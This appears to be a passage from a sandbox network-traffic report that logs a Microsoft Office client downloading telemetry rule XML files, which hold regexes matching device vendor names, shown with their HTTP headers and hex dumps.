version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.9	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d415a278-e01e-0051-6efe-1684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48q6t9vvmrkd293mg000000059000000000vft5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.9	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 7cec3a6f-e01e-0033-3414-174695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48t66tjar5xuq22r8000000057g000000011qk1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.9	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 77c372c4-e01e-0003-2e9b-190fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48gjrh9ymem1nvr1n00000000u000000000a7ec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.9	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 10df1352-f01e-00aa-105a-178521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48dfrdj7px744zp8s0000000560000000007tuu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.9	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: b27116a7-a01e-003d-3a00-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48lknvp09v995n79000000004xg00000000x9ry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.9	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: b8f8ddc8-601e-0001-115a-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48lknvp09v995n79000000004w00000000177dt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.9	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:06 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:06 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a62739ea-301e-005d-6402-17e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185206Z-1657d5bbd48t66tjar5xuq22r800000005c000000000da57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:06 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.9	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:07 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:07 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: a2d01d3c-801e-0083-4800-17f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185207Z-1657d5bbd48sdh4cyzadbb3748000000058g000000009vw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:07 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.9	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:07 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:07 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 53f69819-801e-0048-7802-17f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185207Z-1657d5bbd48brl8we3nu8cxwgn00000005t0000000002w1q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:07 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.9	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:07 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:07 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4dd19665-401e-005b-7705-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185207Z-1657d5bbd48tqvfc1ysmtbdrg0000000056000000000s8f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:07 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.9	49744	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:07 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:07 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185207Z-1657d5bbd48jwrqbupe3ktsx9w00000005hg00000000qn4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:07 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.9	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:07 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185207Z-1657d5bbd48vhs7r2p1ky7cs5w00000005pg00000000m4mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 